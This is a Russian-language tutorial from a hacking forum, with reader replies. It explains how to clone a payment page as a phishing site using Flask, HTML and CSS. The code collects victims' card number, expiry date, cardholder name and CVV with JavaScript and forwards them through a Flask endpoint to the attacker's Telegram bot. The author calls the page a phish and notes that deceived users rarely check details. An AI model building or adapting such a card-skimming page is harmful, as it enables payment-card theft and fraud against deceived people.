Следующим объектом идет картинка Visa, ее мы лутаем с оригинального сайта и закидываем к нам в проект в папку img к остальным картинкам. На сайт ее добавляем таким образом:
HTML:
<img class="card_img" src="{{ url_for('static', filename='img/visa.png') }}" alt="Product Image"/>
Этому объекту я также назначил класс. В нем указываем отступ слева, чтобы картинка не прилегала к нашему селектору.
CSS:
.card_img{
    margin-left: 150px;
}

Вот что в итоге у нас получилось:
Screenshot_30.png


Теперь приступим к полям ввода для номера карты, CVV и т.д. Для этого создаем два div блока, в каждом из которых будет по два поля ввода. Затем создаем еще один блок, в который перемещаем ранее сделанные два блока.
HTML:
<div class="card_box">
    <div class="input-card">
        <input type="text" class="custom-input-card" value="Card Number">
        <input type="text" class="custom-input-card1" value="MM/YY">
     </div>

    <div class="input-card">
        <input type="text" class="custom-input-card" value="Card holder">
        <input type="text" class="custom-input-card1" value="CVV">
    </div>
</div>
Блок "card_box" нужен для того, чтобы сделать верхний отступ от блока, в котором находится "brand".
Вот стили для текущих блоков:
CSS:
.input-card {
    display: flex;
    gap: 10px;
    margin-bottom: 20px;
}

.custom-input-card {
    border: none;
    border-bottom: 1px solid #929292;
    padding: 5px;
    width: 350px;
    height: 20px;
    background: #fafafa;
    color: #929292;
    font-size: 18px;
    font-family: 'Pioner Sans Light', sans-serif;
    border-radius: 4px;
}
.custom-input-card1 {
    border: none;
    border-bottom: 1px solid #929292;
    padding: 5px;
    width: 100px;
    height: 20px;
    background: #fafafa;
    color: #929292;
    font-size: 18px;
    font-family: 'Pioner Sans Light', sans-serif;
    border-radius: 4px;
    margin-left: 20px;
}

.card_box{
    margin-top: 60px;
}

С полями закончили, теперь будем добавлять кнопку "Pay now", а затем делать отправку данных при нажатии этой кнопки в Telegram.
Итак, для начала создадим div с классом "btn_box". Он нужен для того, чтобы в его стилях сделать размещение объектов с правой стороны, чтобы в дальнейшем, при добавлении внутри этого блока кнопки, она была в правом углу.
Назначаем этому объекту такие стили:
CSS:
.btn_box{
    display: flex;
    flex-direction: row-reverse;
}

Далее создаем объект кнопки:
HTML:
<button class="pay">Pay now</button>
И назначаем ему стили:
CSS:
.pay{
    width: 80px;
    height: 35px;
    background: #61a60e;
    border: none;
    color: white;
    border-radius: 5px;
}

Вот что получается на странице браузера:
Screenshot_31.png


С версткой сайта закончили, теперь будем делать сбор данных из полей и отправку в Telegram. Для этого перейдем в созданный в самом начале файл Python и первым делом добавим нужные нам импорты:
Python:
from flask import Flask, render_template, request, jsonify
import requests

Затем создадим две переменные, в которых будет храниться токен бота и наш чат ID Telegram.
Python:
TELEGRAM_BOT_TOKEN = ''
TELEGRAM_CHAT_ID = ''

Далее напишем функцию для принятия данных с сайта и последующей отправки в Telegram:
Python:
@app.route('/send_data', methods=['POST'])
def send_data():
    data = request.json
    message = f"Card Number: {data['card_number']}\nMM/YY: {data['mm_yy']}\nCard Holder: {data['card_holder']}\nCVV: {data['cvv']}"
    url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
    payload = {
        'chat_id': TELEGRAM_CHAT_ID,
        'text': message
    }
    response = requests.post(url, json=payload)
    return jsonify({'status': 'success'} if response.status_code == 200 else {'status': 'fail'})

Теперь нужно изменить HTML файл и заменить объект с полями ввода на это:
HTML:
<div class="card_box">
    <div class="input-card">
        <input type="text" class="custom-input-card" id="card-number" value="Card Number">
        <input type="text" class="custom-input-card1" id="mm-yy" value="MM/YY">
    </div>
    <div class="input-card">
        <input type="text" class="custom-input-card" id="card-holder" value="Card holder">
        <input type="text" class="custom-input-card1" id="cvv" value="CVV">
    </div>
</div>
Тут лишь были добавлены id к каждому объекту.

Теперь напишем функцию JavaScript, которая будет собирать данные из объектов с указанными id и отправлять их в наш Python код в функцию send_data.
HTML:
function sendData() {
    const cardNumber = document.getElementById('card-number').value;
    const mmYY = document.getElementById('mm-yy').value;
    const cardHolder = document.getElementById('card-holder').value;
    const cvv = document.getElementById('cvv').value;

    fetch('/send_data', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            card_number: cardNumber,
            mm_yy: mmYY,
            card_holder: cardHolder,
            cvv: cvv
        })
    })
}

Теперь о том, как работает отправка:
  1. JS лутает данные из объектов с указанными id.
  2. Отправляет их в /send_data в формате JSON строки.
  3. Функция в Python-коде принимает данные в формате JSON строки.
  4. Берет все объекты из JSON и добавляет их в переменную message.
  5. Отправляет получившийся message через HTTPS на адрес из переменной URL.
Вот как выглядит получившееся сообщение в Telegram:
Screenshot_1.png


Заключение:
В данной статье я постарался объяснить простым языком работу с HTML и CSS, а также показать, как разделять объекты на странице и вручную копировать объекты с других сайтов на примере фиша. Страница у меня получилась не полной копией, но очень приближенной. По моему опыту, если человек в принципе повелся на сайт с неоригинальным адресом, то вряд ли будет всматриваться в сайт и в его различия с оригиналом. Так что мне кажется, даже такой копии вполне хватит. Также для копирования сайта есть сторонние приложения, но их проблема в том, что они не всегда собирают сайт корректно, так что вам чаще всего все равно придется некоторые страницы делать самому.

Статья написана CognitoInc специально для форума xss.pro
 

Вложения

  • Oasis.zip
    42.3 КБ · Просмотры: 27
доброго вечера интересная статья спасибо)
 
Интересная статья, спасибо автору, ждем новых статей с использованием Flask
Идей на счет веба пока нету, можешь предложить варианты
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пиздец, 80% статьи css листал... Спасибо
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх